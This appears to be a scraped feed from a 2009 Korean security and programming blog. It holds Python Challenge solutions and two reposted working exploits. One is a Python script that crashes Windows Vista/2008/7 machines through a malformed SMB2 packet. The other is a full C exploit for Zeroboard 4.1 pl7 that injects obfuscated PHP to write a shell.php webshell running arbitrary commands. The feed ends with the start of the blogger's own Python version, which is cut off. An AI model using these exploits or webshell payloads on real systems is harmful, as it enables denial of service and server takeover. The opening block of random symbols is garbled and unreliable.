\u0026amp;%+{#_]{{{^[*_^#^!*@}_}*}+*\u0026amp;(@!^#%)@%[#(\u0026amp;$!\u0026amp;%)][#{*$${(+}($*(*(*\u0026amp;*$^{{@^]{]\u0026amp;*@!) %\u0026amp;)**+]][!+@]*})(@)_]@{($!%+%%]_)(@{+!*__@[(%\u0026amp;\u0026amp;^]@([@[\u0026amp;%$+(}{{\u0026amp;]]+*}($+\u0026amp;}%(!%*@! (^)${)%)]]$*!++[_(_($}(@++[^{]%{{!%#!%+*$)_\u0026amp;@\u0026amp;__#([__$[\u0026amp;^!}%$)(]}@+]+_@*]%%{\u0026amp;(@@ $_[(![!)+@[]][]($@%*(}$_(!^^)]^%){{(_#)*#][}$([)[]!_![![@}}}!%^^!}!*#%\u0026amp;{$\u0026amp;!#_!}# [^{%{$^+@}\u0026amp;_}*_]%(}@*^}]^@*_^\u0026amp;\u0026amp;)^^}[}@]+^*%({*$^{+])_^%*#!${!#+$](+\u0026amp;]{@_+\u0026amp;[!()@{ @)[[){\u0026amp;(#[#{\u0026amp;@\u0026amp;(_]@##])}#\u0026amp;%*)_\u0026amp;!(}_^^$_)))}}}+\u0026amp;\u0026amp;$%\u0026amp;]}}$)![\u0026amp;{#_!(!![[![\u0026amp;(+{{++!}} %}^%%#)))!}^)}%{*@*_{}*^{\u0026amp;(^+$}!@$_^}{$*^#)(@^]_@@%)@_[}\u0026amp;[)++)$\u0026amp;]+!}![#]@$%@]]!@ ^()\u0026amp;++$(_[!^#[\u0026amp;@*@@(){#%@((!(%@(#[\u0026amp;+*%+(^%{{*$%#!(#^{(\u0026amp;*_}!^#%({*_#)%+#{$##{!$]* {+_!{+^$!_\u0026amp;}%(]+}_}@**(\u0026amp;}(+@^%#+!#{#*@@{+!)}^{^+#(!\u0026amp;}[+*%+@}_+\u0026amp;+\u0026amp;]\u0026amp;+(+)_)((!{%*) ([)_+_[]\u0026amp;}}[{{+[)]!%{\u0026amp;\u0026amp;__\u0026amp;$+${_+#]_$}!\u0026amp;#%[@^^]!)#)_+#$]((*@+#$#)@[)*{[}(()$(@{*[ ]}#*_+{)%[+!^{+{(\u0026amp;#_[_}_!{!*{[[)]][$[}*@[$*\u0026amp;))+$[\u0026amp;]@)[*}+^___%!]()^)\u0026amp;!@\u0026amp;[*@_+{}\u0026amp; [{]$#{!^]^$#+*$}#*)(]!@^\u0026amp;#){][$)}!+%^)@#\u0026amp;!%(+^^($(%}^+[*)#+{%!))}(*\u0026amp;]__})][_))}# ())#\u0026amp;##{]$#$](\u0026amp;$%\u0026amp;\u0026amp;$)^{(@%)$%()#)\u0026amp;\u0026amp;*{]\u0026amp;^^+%$##%{!(_$(**\u0026amp;(_]+{%[%$!_){$*@@++]\u0026amp;^$( @+{+\u0026amp;%]$)+@({$(+{!*#(%)]+[}){]]#)*[]%\u0026amp;{+)$){!\u0026amp;$]+^++_@]#%)[\u0026amp;\u0026amp;^%]#@#@)]@}%$[_*@%) [\u0026amp;*^*})@(!{\u0026amp;^#!([%@_![{)+)$}_+)%\u0026amp;^#@#$$}))^\u0026amp;)}({+*\u0026amp;_()\u0026amp;@]$^#(\u0026amp;\u0026amp;{){)_[}{@(}#)!)%\u0026amp; ({+$[!#()[]%{$_*]*^%\u0026amp;]@{^@{)}}_^}@!^*)_[([{}]{*#{]\u0026amp;}}[$_[}!%%\u0026amp;_{{!$[}\u0026amp;[[@#[\u0026amp;_$() *_$+)\u0026amp;}*){${}!]+%[{{!+)+{!\u0026amp;]$!}{_]\u0026amp;)!!^+){\u0026amp;*#{@!##_(^%^$([!+\u0026amp;+($\u0026amp;)##[\u0026amp;[^_{##{(** {{)#*%@*[(^(}!%}@*}@+]^_}\u0026amp;\u0026amp;\u0026amp;}\u0026amp;{[$(@[#*+%[\u0026amp;%{$$**]]%(!$+$!]^+[^_(\u0026amp;*{#_^%[[#+{]#_[ *}]#)!%!_[})^%*@{!{$)*_+$$*}%(\u0026amp;]%^+$@!\u0026amp;{[]}**})}#}[#{%{$#@##(])\u0026amp;)((${^]^[%^\u0026amp;(!_\u0026amp; {@((\u0026amp;@\u0026amp;)]!\u0026amp;{}@#])$($}#}@)#[+$^{%%\u0026amp;*]\u0026amp;_!+{$+[*{()_\u0026amp;\u0026amp;(}%[})}!}(}[!%@$#!*(^^![+(^@{ (+]]@{++#)@@%(!\u0026amp;_#@^$*%^)*](^}#]@]}]@++*^+$_+]^_][]@^#$^\u0026amp;!_+!(^+((\u0026amp;@^@_^@)$[#!)* $)_#]*^{@_*[}@}*@@^+**+[[)**{!)!{##[(*}{)+@{}}{]+!*+\u0026amp;*\u0026amp;)_^\u0026amp;{*+@[*_#{)#(}_*]%{+!% (}_%$#)^*\u0026amp;+[([@*!!{@*[{%@[__)\u0026amp;*\u0026amp;@{__+_}[_#{]!@*%(^\u0026amp;^_$_+[([(($@)])]))%_{(^@!{!#@ #*%%[#\u0026amp;#[+)%__]{++*)]}![[_%+__{${}%!}+!!)}*)_+!#%^}[!)[@[]@@_(@\u0026amp;\u0026amp;*]^_{+[)}@#{#*{ *%!%@{$%!_^+\u0026amp;]+@{$)!\u0026amp;_}_}\u0026amp;!}#)#[$\u0026amp;_\u0026amp;\u0026amp;_)*({({$[$)]]%#^{^%}}^%#]\u0026amp;+^}[!\u0026amp;_[[[(\u0026amp;{@+\u0026amp;^ _()%@#@{%_({${*!)(*+$*!!+$\u0026amp;\u0026amp;]{^^!(#}@[\u0026amp;@\u0026amp;[}^#)]+{)__@_[+]%$)]}$[([^{)%\u0026amp;)@[+]!_!+ _#$))}!+\u0026amp;\u0026amp;#(^[^(}%(%%$%+}{$^^)\u0026amp;^[@}#$]{!}+*}]{_}}*(*@]}#+{}@@!$(}])%+^!#@(_^(@[( _#}$[^[@^+_\u0026amp;}*#$}%^)(#*}%_+]@_%]%\u0026amp;\u0026amp;()[^(}[*[}#@(%%$}]_)^(!#%]#@(#+!#{#$]^!}))_]* ]+%^+%))]+%$]+!%@[#@[@@[*#!+$#}}*#()$_*$[^}+)@#^^$(^+)^@%](!+)^[#!#_*{^^]\u0026amp;[_[_+} $]%@^+!##}*(*)\u0026amp;([]+]##%$)+$_^%^@\u0026amp;((+@\u0026amp;)%}${#\u0026amp;$!!($#\u0026amp;^](^^{{(\u0026amp;+]_]@\u0026amp;*#_^+#!(}]$*\u0026amp; _+@#[})]])[((#@\u0026amp;]!\u0026amp;]*\u0026amp;{*\u0026amp;#_[#(]{(}!]_+@[{^+{{!)*{!}]@@^#*{*({(%#(@@(]{%]!@@+%!!* %(!{\u0026amp;^%%\u0026amp;$(!#@{+*#+*{]![}!!(${@*+$}+__}_}{)@)^*[$!@[+)+](#!!{]#*^\u0026amp;)!%\u0026amp;)%*]*#$]() ]!{][@$}@)$__*_]}^(#*!#!_!**@{(\u0026amp;![]$_+_%^#_!%!$\u0026amp;@](!%%((%[#]\u0026amp;\u0026amp;}_{]+[+*##])(]%^(+ #(_}((]@}#$^_})%#\u0026amp;\u0026amp;((!^![^}+!}{$(%*{*$@%][)[[%\u0026amp;^[{](\u0026amp;+^*!!!([__[{^}\u0026amp;%+\u0026amp;^(*\u0026amp;])*$\u0026amp; $#_}*!(+([_\u0026amp;%{^\u0026amp;[([%]}*^{{([@+@]@*\u0026amp;@_!]_+([(#\u0026amp;!]]#$$#]@#{_]][_{@]{*))$({%}_![@$] #)+[])%]$+^^(}^!([\u0026amp;{)!#}#}}#!}[]]{[++\u0026amp;!)]#]]%^%_\u0026amp;_}!\u0026amp;\u0026amp;$@#\u0026amp;!#}\u0026amp;+]$)^_^*$]!$)}\u0026amp;{#) +[+!_${^](+([\u0026amp;_%\u0026amp;$)#{$%#[%%][($()+!*_(*\u0026amp;!}%@}@%_#+%{%\u0026amp;*$]*{$(}}{)}]%))$}*^$]$(^^ !\u0026amp;*[^]]\u0026amp;#%\u0026amp;%!_+#\u0026amp;}_#}_]\u0026amp;^+@]%(!+!_*](@]}__+@%+^!\u0026amp;[@[)@(!*[%}^$!$(]!^_])!\u0026amp;_!!_[{* (+*]_}%+(%[{)]({#[+$\u0026amp;\u0026amp;[^@{\u0026amp;#!@%)!+\u0026amp;}$@+@[+\u0026amp;_*!$(+#*%!+$@{{^**{)(]*$(}+(#+^}%@%^^ !$%}$$}+@^$$%{}{#!(%[]$!*}+(]!%{(^{\u0026amp;^{$[$)]\u0026amp;\u0026amp;^+{+%!#[([%^!{]]#^@!{#(\u0026amp;]@_$*_\u0026amp;!%(! +_+}%@#{_}^#*)%*(*}*![}[%_[[^@$\u0026amp;%)([*{_${)$^^_!+}{)!)@_[*$_}*}$#[+}{]*+!^])}\u0026amp;{+# +!@!^*@}!}\u0026amp;{]*#^@}_[)}#@%!_*#!$}!)[(${+^\u0026amp;!{[\u0026amp;\u0026amp;\u0026amp;*[{}+*+(#+_[}{$$)#([*!)%@^%_]#%$$ (++^+\u0026amp;)}*_\u0026amp;%@#[^^+^\u0026amp;@_%]+$%$#$*)@!(]*+@]}%$$}$(#$\u0026amp;^(%[*([\u0026amp;]*^\u0026amp;}(!#{\u0026amp;_}^(*{(+$#}} (\u0026amp;_+][\u0026amp;_@)$\u0026amp;$\u0026amp;^[_$(++$^}]\u0026amp;^^*(+*!\u0026amp;#_$]*+@!]+{%^_*+!\u0026amp;}@$!#^{+_#([+@(((*+)[()__}(^ @)](+[$*_(]*$[[\u0026amp;@^(_*#(*\u0026amp;!^{+]_%)_)^[}@]#]%#@+^+[%{_*{!)}#$@#)_$!_(!*+#}%%}+$\u0026amp;$[ %\u0026amp;]!{{⁠%*_!*}\u0026amp;)}$**_{*!#%[[#]!](^^$![#[[*}%(_#^^!%))!_^@)@**@}}(%%{#*%@(((]^%^![\u0026amp; }!)$]\u0026amp;($)@](+(#{$)_%^%_^^#][{*[)%}+[##(##^{$}^]#\u0026amp;(\u0026amp;*{)%)\u0026amp;][\u0026amp;{]\u0026amp;#]}[[^^\u0026amp;[!#}${@_( #@}\u0026amp;$[[%]_\u0026amp;$+)$!%{(}$^$}*\u0026#39;\u0026#39;\u0026#39; print re.sub(\u0026#39;[^a-z]\u0026#39;, \u0026#39;\u0026#39;, str) ","date":"2009-09-17T09:06:12Z","permalink":"/2009/09/17/level-3/","title":"The Python Challenge - Level 2"},{"content":"문제 페이지 : http://www.pythonchallenge.com/pc/def/274877906944.html\n1 2 3 4 5 6 7 8 9 10 11 #!c:\\Python26\\python.exe import string str = \u0026#39;\u0026#39;\u0026#39;g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr\u0026#39;q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj.\u0026#39;\u0026#39;\u0026#39; str2 = \u0026#39;map\u0026#39; test = string.maketrans(\u0026#39;abcdefghijklmnopqrstuvwxyz\u0026#39;, \u0026#39;cdefghijklmnopqrstuvwxyzab\u0026#39;) print str.translate(test) print str2.translate(test) ","date":"2009-09-17T09:04:49Z","permalink":"/2009/09/17/level-2/","title":"The Python Challenge - Level 1"},{"content":"Python 프로그래밍 연습하는데 이만한 좋은 사이트는 없는거 같다! http://www.pythonchallenge.com/ 문제 페이지 : http://www.pythonchallenge.com/pc/def/0.html\n1 2 3 4 #!C:\\Python26\\python.exe import math print math.pow(2, 38) ","date":"2009-09-17T09:04:01Z","permalink":"/2009/09/17/the-python-challenge-level-0/","title":"The Python Challenge - Level 0"},{"content":"Vista / 2008 / Windows7 에서 SMB 2.0 에 대한 BSOD(Blue Screen Of Death) 취약점이 나왔네요. 어찌보면 크리티컬한 취약점이지만 그냥 그저 그러네요....\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #!/usr/bin/python # When SMB2.0 recieve a \u0026#39;\u0026amp;\u0026#39; char in the \u0026#39;Process Id High\u0026#39; SMB header field it dies with a # PAGE_FAULT_IN_NONPAGED_AREA from time import sleep from socket import * import sys if len(sys.argv) != 3: print \u0026#39;Usage: smb-dos.py \u0026lt;hostname\u0026gt; \u0026lt;port\u0026gt;\u0026#39; sys.exit(1) else: port = int(sys.argv[2]) host = sys.argv[1], port buff = ( \u0026#39;\\x00\\x00\\x00\\x90\u0026#39; # Begin SMB header: Session message \u0026#39;\\xff\\x53\\x4d\\x42\u0026#39; # Server Component: SMB \u0026#39;\\x72\\x00\\x00\\x00\u0026#39; # Negociate Protocol \u0026#39;\\x00\\x00\\x00\\x00\u0026#39; # Operation 0x18 \u0026amp; sub 0xc853 \u0026#39;\\x00\\x31\u0026#39;# Process ID High: --\u0026gt; :) normal value should be \u0026#39;\\x00\\x00\u0026#39; \u0026#39;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#39; \u0026#39;\\x00\\x00\\x00\\x00\\x00\\x6d\\x00\\x02\\x50\\x43\\x20\\x4e\\x45\\x54\u0026#39; \u0026#39;\\x57\\x4f\\x52\\x4b\\x20\\x50\\x52\\x4f\\x47\\x52\\x41\\x4d\\x20\\x31\u0026#39; \u0026#39;\\x2e\\x30\\x00\\x02\\x4c\\x41\\x4e\\x4d\\x41\\x4e\\x31\\x2e\\x30\\x00\u0026#39; \u0026#39;\\x02\\x57\\x69\\x6e\\x64\\x6f\\x77\\x73\\x20\\x66\\x6f\\x72\\x20\\x57\u0026#39; \u0026#39;\\x6f\\x72\\x6b\\x67\\x72\\x6f\\x75\\x70\\x73\\x20\\x33\\x2e\\x31\\x61\u0026#39; \u0026#39;\\x00\\x02\\x4c\\x4d\\x31\\x2e\\x32\\x58\\x30\\x30\\x32\\x00\\x02\\x4c\u0026#39; \u0026#39;\\x41\\x4e\\x4d\\x41\\x4e\\x32\\x2e\\x31\\x00\\x02\\x4e\\x54\\x20\\x4c\u0026#39; \u0026#39;\\x4d\\x20\\x30\\x2e\\x31\\x32\\x00\\x02\\x53\\x4d\\x42\\x20\\x32\\x2e\u0026#39; \u0026#39;\\x30\\x30\\x32\\x00\u0026#39; ) s = socket() s.connect(host) s.send(buff) s.close() ","date":"2009-09-09T00:47:24Z","permalink":"/2009/09/09/vista2008windows-7-smb2-bsod-0day/","title":"Vista/2008/Windows 7 SMB2 BSOD 0Day"},{"content":"Zeroboard 4.1 pl7에 대한 Exploit 코드가 공개되었네요. http://milw0rm.com/exploits/9590\n취약점은 예전에 알려진 취약점으로 이미 pl8 버젼에 패치가 되었던걸로 기억하네요. 하지만 여전히 패치가 안된 서버가 많겠죠? -_-\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 /* poc by kyoungchip,jang email : SpeeDr00t1004@gmail.com [*] the bug - http://www.xpressengine.com/15955761 Application - Zeroboard 4.1 pl7 Reference: - http://www.nzeo.com - Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada [*] Target - My test server $ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test - Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test - Target : http://xxx.xxx.xxx/zboard/bbs/shell.php?cmd=ls [+] xxx.xxx.xxx connecting ok! [+] Exploiting zeroboard start - [+] Exploiting success!! [*] Create Backdoor Start - [+] Create Backdoor success!! [*] Confirmming your backdoor php script - http://192.168.179.6/zeroboard/zb41pl7/bbs/data/shell.php is generated! [+] Exploiting success!! - http://192.168.179.6/zeroboard/bbs/data/shell.php?cmd=ls [+] Execute the websehll script */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdarg.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;netdb.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;time.h\u0026gt; #include \u0026lt;sys/socket.h\u0026gt; #include \u0026lt;netinet/in.h\u0026gt; #include \u0026lt;arpa/inet.h\u0026gt; #include \u0026lt;sys/select.h\u0026gt; #include \u0026lt;errno.h\u0026gt; #define BUFSIZE 4096 #define READSIZE 1500 #define EXPLOIT_CODE \u0026#34;*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*\u0026amp;HTTP_SESSION_VARS[zb_last_connect_check]=a\u0026amp;HTTP_SERVER_VARS=1\u0026amp;HTTP_ENV_VARS=1\u0026#34; void ParseZbHost(char *); void ConnectZboard(char *, unsigned short); void ExploitZboard(void); void ConfirmPHPScript(void); void CreateBackdoor(void); void StatusProcess(void); void Usage(char *); void OutputErr(char *, int); char *zb_host; char *zb_dir; char *zb_tid; unsigned short zb_port; int sockfd = -1; int reconn=0; char ReadBuf[READSIZE]; char WriteBuf[BUFSIZE]; char TempBuf[BUFSIZ]; char no[16]; int main(int argc, char *argv[]) { char *szArgv; switch( argc ) { case 1 : Usage(argv[0]); break; case 2 : zb_port = 80; //szArgv = \u0026#34;http://192.168.179.6/zeroboard/zb41pl7/bbs/zboard.php?id=test\u0026#34;; ParseZbHost( szArgv ); break; case 3: zb_port = atoi(argv[2]); ParseZbHost(argv[1]); break; default: break; }; ConnectZboard(zb_host, zb_port); ExploitZboard(); CreateBackdoor(); ConfirmPHPScript(); } void ParseZbHost( char *zbhost ) { char *psbuf; char *sptr=NULL; char *eptr=NULL; psbuf = ( char* )malloc( strlen( zbhost ) + 1 ); strcpy( psbuf, zbhost ); if( (sptr = strstr( psbuf , \u0026#34;http://\u0026#34; ) ) == NULL) OutputErr(\u0026#34;http://host need\\n\u0026#34;, 0); zb_host = sptr + 7; sptr = strchr(zb_host, \u0026#39;/\u0026#39;); sptr[0] = \u0026#39;\\0\u0026#39;; sptr++; if((eptr = strstr(sptr, \u0026#34;zboard.php?id=\u0026#34;)) == NULL) OutputErr(\u0026#34;\\\u0026#34;zboard.php?id=\\\u0026#34;need\\n\u0026#34;, 0); zb_tid = eptr+14; eptr--; eptr[0] = \u0026#39;\\0\u0026#39;; zb_dir = sptr; char szOut[1024]; memset( szOut , 0x00 , sizeof( szOut ) ); sprintf( szOut , \u0026#34; - Target : http://%s/%s/zboard.php?id=%s\\n\u0026#34;, zb_host, zb_dir, zb_tid); } void ConnectZboard( char *server , unsigned short port ) { struct sockaddr_in serv; struct hostent *hostname; if( !( hostname = gethostbyname( server ) ) ) printf(\u0026#34; \\nhostname = %s\\n\u0026#34;, hostname ); if( (sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) \u0026lt; 0) printf(\u0026#34; \\n socket error \u0026#34;); memset(\u0026amp;serv, 0, sizeof(serv)); serv.sin_family = AF_INET; serv.sin_port = htons(port); serv.sin_addr.s_addr = *((unsigned long *)hostname-\u0026gt;h_addr_list[0]); if(connect(sockfd, (struct sockaddr *)\u0026amp;serv, sizeof(struct sockaddr)) \u0026lt; 0) { printf(\u0026#34;\\n not connect\u0026#34;); } if(!reconn) { } else if(reconn == 1) { } reconn = 0; } void ExploitZboard(void) { fd_set fds; struct timeval tv; if(reconn == 1) ConnectZboard(zb_host, zb_port); memset(WriteBuf, 0, sizeof(WriteBuf)); sprintf(WriteBuf,\u0026#34;GET http://%s/%s/lib.php?REMOTE_ADDR=\u0026#34; , zb_host,zb_dir); sprintf(WriteBuf+strlen(WriteBuf), \u0026#34;%s HTTP/1.1\\r\\n\u0026#34; \u0026#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\\r\\n\u0026#34; \u0026#34;Accept-Encoding: gzip, deflate\\r\\n\u0026#34; \u0026#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\\r\\n\u0026#34; \u0026#34;Host: %s\\r\\n\u0026#34; \u0026#34;Connection: Keep-Alive\\r\\n\u0026#34; \u0026#34;\\r\\n\u0026#34;,EXPLOIT_CODE, zb_host); fprintf(stdout, \u0026#34; [+] Exploiting zeroboard start \u0026#34;); fflush(stdout); if(write(sockfd, WriteBuf, strlen(WriteBuf)) \u0026lt; 0) OutputErr(\u0026#34;write\u0026#34;, 1); tv.tv_sec = 60; tv.tv_usec = 0; FD_ZERO(\u0026amp;fds); for(;;){ memset(ReadBuf, 0, sizeof(ReadBuf)); FD_SET(sockfd, \u0026amp;fds); if(select(sockfd+1, \u0026amp;fds, NULL, NULL, \u0026amp;tv) \u0026lt;= 0) OutputErr(\u0026#34;select\u0026#34;, 1); if(FD_ISSET(sockfd, \u0026amp;fds)){ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) \u0026lt;= 0) OutputErr(\u0026#34;read\u0026#34;, 1); if(strstr(ReadBuf, \u0026#34;HTTP/1.1 \u0026#34;)){ if(strstr(ReadBuf,\u0026#34;Connection: close\\r\\n\u0026#34;)) reconn = 1; if(strstr(ReadBuf+9, \u0026#34;200 OK\\r\\n\u0026#34;)) { fprintf(stdout,\u0026#34; - [+] Exploiting success!!\\n\u0026#34;, zb_host, zb_dir, zb_tid); fflush(stdout); return; } else if(strstr(ReadBuf+9, \u0026#34;404 Not Found\\r\\n\u0026#34;)){ OutputErr(\u0026#34; - zeroboard was patched.\\n\u0026#34; \u0026#34; [-] Exploit failed!\\n\u0026#34;, 0); } else if(strstr(ReadBuf+9, \u0026#34;400 Bad Request\\r\\n\u0026#34;)){ OutputErr(\u0026#34; - Bad Request\\n\u0026#34; \u0026#34; [-] Exploit failed!\\n\u0026#34;, 0); } else { OutputErr(ReadBuf, 0); } } } } fprintf(stderr,\u0026#34; error!\\n\u0026#34;); } void CreateBackdoor(void) { fd_set fds; struct timeval tv; if(reconn == 1) ConnectZboard(zb_host, zb_port); memset(WriteBuf, 0, sizeof(WriteBuf)); sprintf(WriteBuf, \u0026#34;GET http://%s/%s/data/now_connect.php HTTP/1.1\\r\\n\u0026#34; \u0026#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\\r\\n\u0026#34; \u0026#34;Accept-Encoding: gzip, deflate\\r\\n\u0026#34; \u0026#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\\r\\n\u0026#34; \u0026#34;Host: %s\\r\\n\u0026#34; \u0026#34;Connection: Keep-Alive\\r\\n\u0026#34; \u0026#34;\\r\\n\u0026#34;, zb_host,zb_dir, zb_host); fprintf(stdout, \u0026#34; [*] Create Backdoor Start\u0026#34;); fflush(stdout); if(write(sockfd, WriteBuf, strlen(WriteBuf)) \u0026lt; 0) OutputErr(\u0026#34;write\u0026#34;, 1); tv.tv_sec = 60; tv.tv_usec = 0; FD_ZERO(\u0026amp;fds); for(;;){ memset(ReadBuf, 0, sizeof(ReadBuf)); FD_SET(sockfd, \u0026amp;fds); if(select(sockfd+1, \u0026amp;fds, NULL, NULL, \u0026amp;tv) \u0026lt;= 0) OutputErr(\u0026#34;select\u0026#34;, 1); if(FD_ISSET(sockfd, \u0026amp;fds)){ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) \u0026lt;= 0) OutputErr(\u0026#34;read\u0026#34;, 1); if(strstr(ReadBuf, \u0026#34;HTTP/1.1 \u0026#34;)){ if(strstr(ReadBuf,\u0026#34;Connection: close\\r\\n\u0026#34;)) reconn = 1; if(strstr(ReadBuf+9, \u0026#34;200 OK\\r\\n\u0026#34;)) { fprintf(stdout,\u0026#34; - [+] Create Backdoor success!!\\n\u0026#34;, zb_host, zb_dir, zb_tid); fflush(stdout); return; } else if(strstr(ReadBuf+9, \u0026#34;404 Not Found\\r\\n\u0026#34;)){ OutputErr(\u0026#34; zeroboard was patched.\\n\u0026#34; \u0026#34; [-] Exploit failed!\\n\u0026#34;, 0); } else if(strstr(ReadBuf+9, \u0026#34;400 Bad Request\\r\\n\u0026#34;)){ OutputErr(\u0026#34; - Bad Request\\n\u0026#34; \u0026#34; [-] Exploit failed!\\n\u0026#34;, 0); } else { OutputErr(ReadBuf, 0); } } } } fprintf(stderr,\u0026#34; error!\\n\u0026#34;); } void ConfirmPHPScript(void) { fd_set fds; struct timeval tv; if(reconn == 1) ConnectZboard(zb_host, zb_port); memset(WriteBuf, 0, sizeof(WriteBuf)); sprintf(WriteBuf, \u0026#34;GET http://%s/%s/data/shell.php HTTP/1.1\\r\\n\u0026#34; \u0026#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\\r\\n\u0026#34; \u0026#34;Accept-Encoding: gzip, deflate\\r\\n\u0026#34; \u0026#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\\r\\n\u0026#34; \u0026#34;Host: %s\\r\\n\u0026#34; \u0026#34;Connection: Keep-Alive\\r\\n\u0026#34; \u0026#34;\\r\\n\u0026#34;, zb_host,zb_dir, zb_host); fprintf(stdout, \u0026#34; [*] Confirmming your backdoor php script\u0026#34;); fflush(stdout); if(write(sockfd, WriteBuf, strlen(WriteBuf)) \u0026lt; 0) OutputErr(\u0026#34;write\u0026#34;, 1); tv.tv_sec = 60; tv.tv_usec = 0; FD_ZERO(\u0026amp;fds); for(;;){ memset(ReadBuf, 0, sizeof(ReadBuf)); FD_SET(sockfd, \u0026amp;fds); if(select(sockfd+1, \u0026amp;fds, NULL, NULL, \u0026amp;tv) \u0026lt;= 0) OutputErr(\u0026#34;select\u0026#34;, 1); if(FD_ISSET(sockfd, \u0026amp;fds)){ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) \u0026lt;= 0) OutputErr(\u0026#34;read\u0026#34;, 1); if(strstr(ReadBuf, \u0026#34;HTTP/1.1 \u0026#34;)){ if(strstr(ReadBuf,\u0026#34;Connection: close\\r\\n\u0026#34;)) reconn = 1; if(strstr(ReadBuf+9, \u0026#34;200 OK\\r\\n\u0026#34;)) { fprintf(stdout,\u0026#34; - http://%s/%s/data/shell.php is generated!\\n [+] Exploiting success!!\\n\u0026#34;, zb_host, zb_dir); fprintf(stdout,\u0026#34; - http://%s/%s/data/shell.php?cmd=ls [+] Execute the websehll script \\n\u0026#34;, zb_host, zb_dir); fflush(stdout); return; } else if(strstr(ReadBuf+9, \u0026#34;404 Not Found\\r\\n\u0026#34;)){ OutputErr(\u0026#34; - zeroboard was patched.\\n\u0026#34; \u0026#34; [-] Exploit failed!\\n\u0026#34;, 0); } else if(strstr(ReadBuf+9, \u0026#34;400 Bad Request\\r\\n\u0026#34;)){ OutputErr(\u0026#34; - Bad Request\\n\u0026#34; \u0026#34; [-] Exploit failed!\\n\u0026#34;, 0); } else { OutputErr(ReadBuf, 0); } } } } fprintf(stderr,\u0026#34; error!\\n\u0026#34;); } void StatusProcess(void) { putchar(\u0026#39;.\u0026#39;); fflush(stdout); } void OutputErr(char *msg, int type) { if(!type) { fprintf(stderr,\u0026#34;%s\u0026#34;, msg); fflush(stderr); } else if(type==1) { if(!strcmp(msg, zb_host)) { herror(msg); } else { perror(msg); } } exit(1); } void Usage(char *arg) { fprintf(stderr,\u0026#34;[*] Zeroboard now_connect() vulnerability Remote code execution exploit by SpeeDr00t\\n\u0026#34;); fprintf(stderr,\u0026#34;--------------------------------------------------------------------------\\n\u0026#34;); fprintf(stderr,\u0026#34;Usage: %s \u0026lt;SERVER\u0026gt; [PORT - default : 80] \\n\u0026#34;, arg); fprintf(stderr,\u0026#34;--------------------------------------------------------------------------\\n\u0026#34;); exit(1); } // milw0rm.com [2009-09-04] 추가로 제가 Python으로 간단하게 만든 스크립트 입니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #!/usr/bin/env python import httplib, sys from urlparse import urlparse def main(): if len(sys.argv) != 2: print \u0026#39;Usage:./lib_php_remote_addr.py 